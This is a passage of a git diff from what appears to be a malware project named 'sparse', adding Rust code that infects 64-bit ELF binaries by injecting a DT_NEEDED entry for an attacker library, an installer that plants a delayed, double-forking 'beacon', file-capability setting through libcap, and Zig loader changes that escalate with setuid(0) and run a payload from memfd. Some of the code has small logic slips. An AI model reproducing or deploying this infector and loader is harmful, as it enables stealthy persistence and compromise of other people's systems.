{})", + cap_set_flag( + current_caps, + CAP_EFFECTIVE, + 1, + &cap_list[0] as *const _, + CAP_SET + ), + errno::errno() + ); + + println!( + "Result of setting permitted caps: {} (errno: {})", + cap_set_flag( + current_caps, + CAP_PERMITTED, + 1, + &cap_list[0] as *const _, + CAP_SET + ), + errno::errno() + ); + + println!( + "Result of setting inheritable caps: {} (errno: {})", + cap_set_flag( + current_caps, + CAP_INHERITABLE, + 1, + &cap_list[0] as *const _, + CAP_SET + ), + errno::errno() + ); + + println!( + "Result of saving flags: {}, {}", + cap_set_file(path.as_ptr(), current_caps), + errno::errno() + ); + + cap_free(current_caps); + } + } + + Ok(()) + } else { + eprintln!("Sparse is only compiled for 64 bit Linux"); + Ok(()) } } + +fn infect_64bit_elf_binary( + library_path: LP, + mut binary: F, + mut binary_data: Vec, + sparse_parameters: &Parameters, +) -> Result<(), Error> +where + LP: AsRef, + F: Read + Write + Seek, +{ + let Some(library_name) = library_path.as_ref().file_name() else { + eprintln!("Library name does not contain a valid file path!"); + panic!(); + }; + + let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) }; + let x64_header = unsafe { &mut header.rest.bit64 }; + + let section_headers = unsafe { + slice::from_raw_parts_mut::( + binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _, + x64_header.e_shnum as usize, + ) + }; + + let program_headers = unsafe { + slice::from_raw_parts_mut::( + binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _, + x64_header.e_phnum as usize, + ) + }; + + let Some(stack_ph) = program_headers + .iter() + .position(|ph| ph.p_type == 0x6474e551 /* PT_GNU_STACK */) + else { + eprintln!("ELF is protected against stack exploitation! Find one that isn't"); + panic!(); + }; + + let Some(dynamic_sh) = section_headers.iter().find(|sh| sh.sh_type == 0x06) else { + eprintln!("ELF is not a dynamic executable!"); + panic!(); + }; + + let dynamic_offset = dynamic_sh.sh_offset as usize; + let dynamic_size = dynamic_sh.sh_size as usize / std::mem::size_of::(); + + let dynamic_sections = unsafe { + slice::from_raw_parts_mut::( + binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _, + dynamic_size, + ) + }; + + let Some(dynstr_addr) = dynamic_sections + .iter() + .find_map(|dt| Some(dt.d_val).filter(|_| dt.d_tag == 0x05 /* DT_STRTAB */)) + else { + eprintln!("Could not find dynamic strings! (1)"); + panic!(); + }; + + let Some(dynstr_sh_idx) = section_headers + .iter() + .position(|sh| sh.sh_addr == dynstr_addr) + else { + eprintln!("Could not find dynamic strings!"); + panic!(); + }; + + let dynstr_sh = section_headers[dynstr_sh_idx]; + + let dynstr_offset = dynstr_sh.sh_offset as usize; + let dynstr_size = dynstr_sh.sh_size as usize; + + let mut dynstr_bytes = binary_data[dynstr_offset..dynstr_offset + dynstr_size].to_vec(); + + let lp_pointer = dynstr_bytes.len(); + dynstr_bytes.extend(library_name.as_encoded_bytes()); + dynstr_bytes.extend(b"\0"); + + let Some(last_record) = dynamic_sections + .iter() + .position(|dt| dt.d_tag == 0x00 && dt.d_val == 0x00) + else { + eprintln!("Could not find last dynamic table entry!"); + panic!(); + }; + + let Some(last_needed_record_pos) = dynamic_sections.iter().position(|dt| dt.d_tag != 0x01) + else { + eprintln!("Could not find a non dynamic entry in dt"); + panic!(); + }; + + if last_record == dynamic_sections.len() - 1 { + // we need to make a new section and update the global offset table + // ...or just crash for now... + // eprintln!("lol"); + eprintln!("Dynamic section is too small!"); + unimplemented!(); + } else { + for pos in (last_needed_record_pos..=last_record).rev() { + dynamic_sections[pos + 1].d_tag = dynamic_sections[pos].d_tag; + dynamic_sections[pos + 1].d_val = dynamic_sections[pos].d_val; + } + + dynamic_sections[last_needed_record_pos].d_tag = 0x01; // DT_NEEDED + dynamic_sections[last_needed_record_pos].d_val = lp_pointer as u64; + } + + let curr_len = binary_data.len(); + let target_pad = curr_len + (0x1000 - (curr_len % 0x1000)); + let to_pad = target_pad - curr_len; + + binary_data.extend(vec![0u8; to_pad]); + + let dynstr_ptr = binary_data.len(); + + println!("{dynstr_ptr:X}"); + println!("{to_pad:X}"); + + binary_data.extend(&dynstr_bytes); + + let header: &mut Elf_Hdr = unsafe { &mut *(binary_data.as_mut_ptr() as *mut Elf_Hdr) }; + let x64_header = unsafe { &mut header.rest.bit64 }; + + let section_headers = unsafe { + slice::from_raw_parts_mut::( + binary_data.as_mut_ptr().offset(x64_header.e_shoff as isize) as *mut _, + x64_header.e_shnum as usize, + ) + }; + + let program_headers = unsafe { + slice::from_raw_parts_mut::( + binary_data.as_mut_ptr().offset(x64_header.e_phoff as isize) as *mut _, + x64_header.e_phnum as usize, + ) + }; + + let dynamic_sections = unsafe { + slice::from_raw_parts_mut::( + binary_data.as_mut_ptr().offset(dynamic_offset as isize) as *mut _, + dynamic_size, + ) + }; + + let Some(new_address) = program_headers + .iter() + .filter_map(|ph| Some(ph.p_vaddr).filter(|_| ph.p_type == 0x1 /* PT_LOAD */)) + .max() + else { + eprintln!("Could not find address space to store new symbol strings"); + panic!(); + }; + + let new_address = new_address + 0x2000 - (new_address % 0x1000); + + let Some(dt_strtab) = dynamic_sections + .iter_mut() + .find(|dt| dt.d_tag == 0x05 /* DT_STRTAB */) + else { + eprintln!("Could not find dynamic strings! (1)"); + panic!(); + }; + + dt_strtab.d_val = new_address as u64; + + section_headers[dynstr_sh_idx].sh_offset = dynstr_ptr as u64; + section_headers[dynstr_sh_idx].sh_size = dynstr_bytes.len() as u64; + section_headers[dynstr_sh_idx].sh_addr = new_address as u64; + + program_headers[stack_ph].p_type = 0x1; // PT_LOAD + program_headers[stack_ph].p_flags = 0x4 | 0x6; // PF_R | PF_W + program_headers[stack_ph].p_offset = dynstr_ptr as u64; + program_headers[stack_ph].p_vaddr = new_address as u64; + program_headers[stack_ph].p_paddr = new_address as u64; + program_headers[stack_ph].p_filesz = dynstr_bytes.len() as u64; + program_headers[stack_ph].p_memsz = dynstr_bytes.len() as u64; + program_headers[stack_ph].p_align = 0x1000; + + binary.seek(SeekFrom::Start(0))?; + binary.write(&binary_data)?; + + let param_data = &sparse_parameters as *const _ as *const u8; + let param_slice = + unsafe { slice::from_raw_parts(param_data, std::mem::size_of::()) }; + + binary.write(param_slice)?; + + Ok(()) +} diff --git a/sparse-unix-installer/Cargo.toml b/sparse-unix-installer/Cargo.toml index ceb00b8..81a7589 100644 --- a/sparse-unix-installer/Cargo.toml +++ b/sparse-unix-installer/Cargo.toml @@ -4,3 +4,7 @@ edition = "2024" version.workspace = true [dependencies] +rand = "0.9.0" +sparse-actions = { version = "2.0.0", path = "../sparse-actions" } +sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" } +structopt = "0.3.26" diff --git a/sparse-unix-installer/src/main.rs b/sparse-unix-installer/src/main.rs index e7a11a9..dc5129a 100644 --- a/sparse-unix-installer/src/main.rs +++ b/sparse-unix-installer/src/main.rs @@ -1,3 +1,77 @@ -fn main() { - println!("Hello, world!"); +use std::{ + fs::OpenOptions, + io::{prelude::*, Error, SeekFrom}, + path::PathBuf, +}; + +use rand::{rngs::OsRng, TryRngCore}; +use structopt::StructOpt; + +use sparse_actions::payload_types::{Parameters, XOR_KEY}; +use sparse_unix_infector::infect_elf_binary; + +#[derive(StructOpt, Debug)] +#[structopt(name = "sparse-installer")] +struct Options { + /// Path to binary to infect + #[structopt(short, long)] + binary: PathBuf, + + /// Path for where to store the library that sparse uses; + /// must be somewhere in the library search path (e.g., /lib/x86_64-linux-gnu) + #[structopt(short, long)] + library_path: PathBuf, + + /// Name to call the program after it double forks + #[structopt(short = "n", long)] + binary_name: String, + + /// How long to randomly wait (minimum) after being loaded before causing tomfoolery + #[structopt(long, default_value = "0")] + delay_seconds_minimum: u8, + + /// How long to randomly wait (maximum) after being loaded before causing tomfoolery + #[structopt(long, default_value = "0")] + delay_seconds_maximum: u8, +} + +fn main() -> Result<(), Error> { + let opts = Options::from_args(); + + if opts.delay_seconds_minimum > opts.delay_seconds_maximum { + eprintln!("Delay seconds minimum should be larger than delay seconds maximum!"); + panic!(); + } + + let mut installer_file = OpenOptions::new() + .read(true) + .open(std::env::current_exe()?)?; + + let parameters_size = std::mem::size_of::() as i64; + + installer_file.seek(SeekFrom::End(-parameters_size))?; + + let mut parameters_buffer = Vec::with_capacity(parameters_size as usize); + installer_file.read(&mut parameters_buffer)?; + + for b in parameters_buffer.iter_mut() { + *b = *b & (XOR_KEY as u8); + } + + let parameters: &mut Parameters = + unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) }; + + let mut identifier = [0u8; 32]; + OsRng + .try_fill_bytes(&mut identifier) + .expect("Could not generate beacon identifier"); + + let beacon_name = opts.binary_name.as_bytes(); + parameters.beacon_name[..beacon_name.len()].copy_from_slice(&beacon_name[..]); + parameters.beacon_name_length = beacon_name.len() as u16; + + parameters.delay_seconds_min = opts.delay_seconds_minimum; + parameters.delay_seconds_max = opts.delay_seconds_minimum; + + infect_elf_binary(opts.binary, opts.library_path, parameters) } diff --git a/sparse-windows-beacon/Cargo.toml b/sparse-windows-beacon/Cargo.toml index 06e48d7..fac5b5d 100644 --- a/sparse-windows-beacon/Cargo.toml +++ b/sparse-windows-beacon/Cargo.toml @@ -3,4 +3,6 @@ name = "sparse-windows-beacon" edition = "2024" version.workspace = true +crate-type = ["cdylib"] + [dependencies] diff --git a/sparse-windows-beacon/src/main.rs b/sparse-windows-beacon/src/main.rs index e7a11a9..f328e4d 100644 --- a/sparse-windows-beacon/src/main.rs +++ b/sparse-windows-beacon/src/main.rs @@ -1,3 +1 @@ -fn main() { - println!("Hello, world!"); -} +fn main() {} diff --git a/sparse-windows-installer/src/lib.rs b/sparse-windows-installer/src/lib.rs deleted file mode 100644 index b93cf3f..0000000 --- a/sparse-windows-installer/src/lib.rs +++ /dev/null @@ -1,14 +0,0 @@ -pub fn add(left: u64, right: u64) -> u64 { - left + right -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn it_works() { - let result = add(2, 2); - assert_eq!(result, 4); - } -} diff --git a/sparse-windows-installer/src/main.rs b/sparse-windows-installer/src/main.rs new file mode 100644 index 0000000..244f744 --- /dev/null +++ b/sparse-windows-installer/src/main.rs @@ -0,0 +1,3 @@ +fn main() { + println!("Hello"); +} diff --git a/system-libs.nix b/system-libs.nix index 2dcb86c..b71133e 100644 --- a/system-libs.nix +++ b/system-libs.nix @@ -1,4 +1,5 @@ -{ pkgs, libnl-src, libpcap-src, winpcap-installer, freebsd-libs-packed }: +{ pkgs, libcap-src, libnl-src, libpcap-src, winpcap-installer +, freebsd-libs-packed }: let freebsd-libs = pkgs.stdenv.mkDerivation { name = "freebsd-libs"; @@ -81,6 +82,26 @@ in { ''; }; + libcap = pkgs.stdenv.mkDerivation { + name = "libcap-static"; + + nativeBuildInputs = with pkgs; [ clang musl ]; + + src = libcap-src; + + buildPhase = '' + export BUILD_CC=musl-clang + export CC=musl-gcc + export CXX=musl-gcc + make -C libcap + ''; + + installPhase = '' + mkdir -p $out/lib + cp -a libcap/* $out/lib + ''; + }; + libpcap-linux-gnu = pkgs.stdenv.mkDerivation { name = "libpcap-static-linux-gnu"; diff --git a/unix-loader/src/libloader.zig b/unix-loader/src/libloader.zig index af7ad26..e3d2362 100644 --- a/unix-loader/src/libloader.zig +++ b/unix-loader/src/libloader.zig @@ -13,7 +13,7 @@ const config = @import("config"); fn open_temp() !std.fs.File { switch (builtin.os.tag) { .linux => { - const fd = posix.memfd_create("", 0); + const fd = try posix.memfd_create("", 0); return std.fs.File{ .handle = fd }; }, else => { @@ -69,7 +69,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { uid = std.os.linux.syscall0(.getuid); try posix.setuid(0); - if (std.os.linux.syscall0() != 0) { + if (std.os.linux.syscall0(.getuid) != 0) { return; } } @@ -97,7 +97,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void { } if (builtin.os.tag == .linux) { - try posix.setuid(uid); + try posix.setuid(@intCast(uid & 0xFFFF)); } } } diff --git a/unix-loader/src/loader.zig b/unix-loader/src/loader.zig index 6cff714..564afa7 100644 --- a/unix-loader/src/loader.zig +++ b/unix-loader/src/loader.zig @@ -21,7 +21,9 @@ fn fill_parameters() !void { } export fn calculate_hash() callconv(.C) void { - std.io.getStdOut().writeAll("Loaded!") catch {}; + if (dbg) { + std.io.getStdOut().writeAll("Loaded!") catch {}; + } fill_parameters() catch |err| { if (dbg) { std.debug.print("Error calculating hash! {any}", .{err});